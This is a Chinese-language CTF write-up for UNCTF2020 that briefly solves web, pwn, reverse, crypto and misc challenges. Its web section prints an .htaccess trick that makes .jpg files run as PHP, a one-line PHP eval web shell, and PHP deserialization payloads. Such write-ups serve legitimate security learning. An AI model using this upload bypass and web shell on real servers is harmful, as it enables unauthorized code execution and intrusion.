【CTF】UNCTF Writeup by Satan9a

2020-11-15T12:52:00

比赛:UNCTF2020校内赛

ID:Satan9a

xuxuan AN_666 Xunflash

Web

1.easy_ssrf

2.俄罗斯方块人大战奥特曼

查看源代码,发现有一个压缩包

下载下来

发现有

打开即可得到flag

3.easy_upload

解题过程:

上传题,测试不能上传php,phtml等,发现数据库是apache,尝试上传.htaccess文件,文件内容

plain
AddType application/x-httpd-p\
hp .jpg

上传hp.jpg
内容

plain
<?=eval($_POST[satan]);

连接蚁剑得到flag

4.easyunserialize

解题过程:

反序列化字符串逃逸,构造payload

plain
challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy"};;;

得出flag

5.ezphp

解题过程:

原题,构造payload

plain
data=a:2:{s:8:"username";b:1;s:8:"password";b:1;}

得到flag

Pwn

1.YLBNB

使用pwntools

Reverse

1.recheckin

解题过程:

打开ida搜welcome,按f5

得到伪代码,可知与str2比较,双击跳转

双击,后面的按r转换成字符

Crypto

1.wing

解题过程:附件的图片是一些符号,一点都看不懂,提示说是office,于是打开office![图片]

里面的字体里有一个叫

的字体,发现里面的字体正好是这些符号,于是一个个对比过去,把附件里的符号全部输入到office,然后转换为宋体

得到flag

2.鞍山大法官

看到营养想到培根加密

将o替换位A,t替换为B

解密即可

3.easy_rsa

4.简单的RSA

得到d

5.快乐数学

第一小问找规律即可

第二小问

第三小问

\sqrt[2020]{2020!}-\frac{1}{112}-\frac{28\pi}{3}

md5加密即可

Misc

1.mouse_click

解题过程:

下载脚本https://github.com/WangYihang/UsbMiceDataHacker,下载后放到wireshark根目录,附件也放进去,管理员运行cmd,cd到wireshark根目录,输入

plain
python2 UsbMiceDataHacker.py mouse_click.pcapng LEFT

然后就自动绘制出了鼠标运行轨迹

得出flag

2.倒影

解题过程:

010editor打开文件,底部有一串base64字符,解码后得到一串hex码,但是得不出东西,根据题目名称提示,将hex码倒序输出,再使用010editor生成文件得出压缩包,有密码,爆破六位数密码后得出flag

3.你能破解我的密码吗

解题过程:

shadow是linux /etc/shadow文件,文本打开,有一行guguguguji后面接了md5,根据shadow文件格式,md5解密结果123456即密码.

4.阴阳人编码

解题过程:打开文件,格式是一个没有见过的编码,但是很熟悉,和Ook编码很像,尝试一下,把“就这.”换成“Ook.”,“就这¿”换成“Ook?”,“不会吧!”换成“Ook!”。然后解密,得到flag!

5.EZIMAGE

解题过程:

使用imgmagick里面的montage拼图

plain
montage unctf*.png -tile 15*15-geometry +0+0 flag.png

然后得到这个

然后gaps拼图

plain
gaps --image=flag.png --size=60 --save

得到flag!

6.零

解题过程:打开txt,是一段字母,尝试词频分析没有用,全选复制到wps,发现有多处留白,百度得知是零宽度字符串隐写,http://330k.github.io/misc_tools/unicode_steganography.html

进入这个网站,解密得到flag

7.网络深处1

解题过程:解压文件,有一段拨号音,不知道要干什么,尝试解压里面的压缩包,发现要密码,猜测电话号码就是密码,11位数字密码爆破

解压压缩包,里面有一段音频,Audacity打开

看不出什么东西,查看频谱图

https://tuppers-formula.ovh/

进入网站,把长串数字复制粘贴

得到flag

8.baba_is_you

有一个b站地址

flag在评论区

9.撕毁的二维码

10.被删除的flag

放BT5里

cat flag

直接得到flag

11.爷的历险记

解摩丝码

拿到屠龙刀

打了第一个boss

做异或 开第二个宝箱

购买hint2

修改hint2提示的那个文件

打倒第三个boss

拿到flag

12.躲猫猫

后缀改成zip解压, 打开/xl/sharedstring.xml

里面一串base64解码即可

13.YLB's CAPTCHA - 签到题

阴间签到,验证码纯眼看,连对十次就可以得到flag了。

当前页面是本站的「Baidu MIP」版。发表评论请点击:完整版 »